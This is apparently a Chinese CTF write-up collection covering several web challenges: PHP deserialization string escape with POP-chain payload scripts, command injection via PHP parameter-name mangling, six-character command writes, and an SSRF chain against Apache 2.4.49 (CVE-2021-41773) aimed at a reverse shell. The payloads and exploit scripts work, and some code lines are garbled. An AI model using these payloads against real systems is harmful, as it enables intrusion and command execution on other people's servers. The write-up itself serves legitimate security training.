提示说看看反序列化字符串逃逸
PHP反序列化字符串逃逸_php反序列化逃逸-CSDN博客
php反序列化字符逃逸_php反序列化逃逸_Leekos的博客-CSDN博客
buuctf刷题9 (反序列化逃逸&shtml-SSI远程命令执行&idna与utf-8编码漏洞)_extract($_post); foreach($_post as $var){ if(preg__葫芦娃42的博客-CSDN博客
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
2022UUCTF-web_[uuctf 2022 新生赛]phonecode-CSDN博客
data参数可控,然后post会传入data之后,$data会new一个UUCTF类的实例对象,替换掉hacker为loveuu!,再进行反序列化
先正常传入data=jack,则$data应该为:
O:5:"UUCTF":4:{s:4:"name";s:4:"jack";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
其中标红的是我们可控的参数
开始代码审计,在youwant类我们可以通过rce方法,实现命令执行,以此读flag,
现在找链子:
UUCTF:: nothing::__destruct() -> output::__toString() -> youwant::rce
流程即:我们通过传入的data参数,构造把后面的逃逸掉,构造新的序列化串
O:5:"UUCTF":4:{s:4:"name";s:4:"构造的";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
error_reporting(0);
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd="system('cat flag.php');";
}$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));
传入data数据,用data数据初始化一个UUCTF类,然后将hacker替换成loveuu后进行反序列化,可以看到youwant类可以进行命令执行,所以整条Pop链:youwant_rce()->ouput_toString()->nothing_destruct()->UUCTF_wakeup(),入口为UUCTF的__wakeup函数,要将basedata的数据替换成Pop链的base64编码才能触发Pop链,现在可以控制的只有构造函数即name的数据。
正常的传入data序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“aiwin”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
现在也就是说要把 ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}给顶出去,首先构造Pop链。
error_reporting(0);
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd="system('cat flag.php');";
}$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));
构造出了basedata,整条序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“UUCTF” ;s:3:“key”;s:5:“UUCTF”;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
“;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}一共236个字符,每有一个hacker替换,就会多吃一个字符,所以236个hacker刚好吃完,”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}读取不到,完成了逃逸。
完整payload:
error_reporting(0);
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd="system('cat flag.php');";
}$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));
echo strlen($basedata);
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i{
$hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
#O:5:"UUCTF":4:{s:4:"name";s:5:"aiwin";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
?>
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="system('cat flag.php');";
}
}$basedata = (base64_encode(serialize(new nothing())));
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i{
$hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
?>
看源码得到flag
首页给了一个超链接
发现把114514分解了质因数
提示了flag在根目录,我们尝试直接读取
发现被过滤了
发现斜杠应该是被过滤了,不然应该跟空格一样
Linux 命令(2)—— od 命令_od命令-CSDN博客
od %2fflag
脚本
dump = "0000000 051516 041523 043124 063173 031061 060546 032144 026463 0000020 032067 061060 032055 031062 026462 061070 033545 062455 0000040 033063 031466 062067 030144 060545 076470 000012 0000055" octs = [("0o" + n) for n in dump.split(" ") if n] hexs = [int(n, 8) for n in octs] result = "" for n in hexs: if (len(hex(n)) > 4): swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF) result += swapped[2:].zfill(4) print(bytes.fromhex(result).decode())
当然也可以转10进制去解码
注意这里涉及到一个非法传参的问题,在PHP官方文档中有解释当变量名中出现点
和空格
时将被转换为下划线。及 Ping_ip.exe 在被解析的时候就会变成 Ping_ip_exe
参考资料
谈一谈PHP中关于非法参数名传参问题_php 非法传参名-CSDN博客
所以payload:
?Ping[ip.exe=127.0.0.1;ls /
?Ping[ip.exe=127.0.0.1;tac /f*
限制了输入的字符最多为六个并且无回显,常规思路就是将命令执行结果写入文件,这一题比较坑的就是你命令执行成功了给你回显命令执行失败。并且写入的文件在tmp目录下。我们输入命令
ls />a
发现flag文件
但是后边用这种方法就行不通了,因为他限制了长度,
后面我利用大佬的方法来做,成功得到flag,第一次见这种
>nl
执行后,会创建名为 nl 的文件
* /*>d意思就是 nl /*>f 第一个*就是将ls列出文件名第一个当作命令 其他当作参数 即 nl /*>d
进去是一片空白
利用file协议读取一下
非预期,得到flag,之前写过这个/proc的用法
linux - 将/proc/1/environ 转换为变量脚本 环境: 旧版本的 systemd 在容器中运行
预期解法
NSSCTF 2nd WEB-CSDN博客
读取?url=file:///start.sh
看到源码路径,读取源码
from flask import Flask, request, redirect import requests, socket, struct from urllib import parse app = Flask(__name__) @ app.route('/') def index(): if not request.args.get('url'): return redirect('/?url=dosth') url = request.args.get('url') if url.startswith('file://'): with open(url[7:], 'r') as f: return f.read() elif url.startswith('http://localhost/'): return requests.get(url).text elif url.startswith('mybox://127.0.0.1:'): port, content = url[18:].split('/_', maxsplit=1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('127.0.0.1', int(port))) s.send(parse.unquote(content).encode()) res = b'' while 1: data = s.recv(1024) if data: res += data else: break return res return '' app.run('0.0.0.0', 827)
这是一个使用 Flask 框架编写的简单服务器应用。它的功能包括根据传入的 URL 参数进行不同的操作。
如果 URL 参数中没有指定 ‘url’,则重定向到 ‘/?url=dosth’。
如果 URL 以 ‘file://’ 开头,则根据文件路径读取文件内容并返回。
如果 URL 以 ‘http://localhost/’ 开头,则使用 requests 库发送 GET 请求并返回响应的文本内容。
如果 URL 以 ‘mybox://127.0.0.1:’ 开头,则将剩余部分分割为端口和内容,使用 socket 连接到本地主机(127.0.0.1)的指定端口,并发送解码后的内容,然后接收并返回响应的内容。
发现一个很明显的SSRF利用点,本来得用gopher://协议打,但是这里魔改过,
得把字符串gopher://换成mybox://。
elif url.startswith('mybox://127.0.0.1:'):port, content = url[18:].split('/_', maxsplit=1)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
先用gopher://
协议发个请求包看看,请求一下不存在的PHP文件,搜集一下信息
gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
把gopher
换成mybox
mybox
://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
在进行一次url编码
mybox%3A%2F%2F127.0.0.1%3A80%2F_GET%2520%2Fxxx.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
可以看见这里Apache的版本是2.4.49,这个版本的Apache有一个路径穿越和RCE漏洞(CVE-2021-41773)
我们用gopher://
协议打CVE-2021-41773,POST发包,执行命令反弹shell。
参考资料看其中的week5[Unsafe Apache]
NewStarCTF 2022 web方向题解 wp_Jay 17的博客-CSDN博客
这里用的是大佬的图,一直反弹不上去
反弹shell得到flag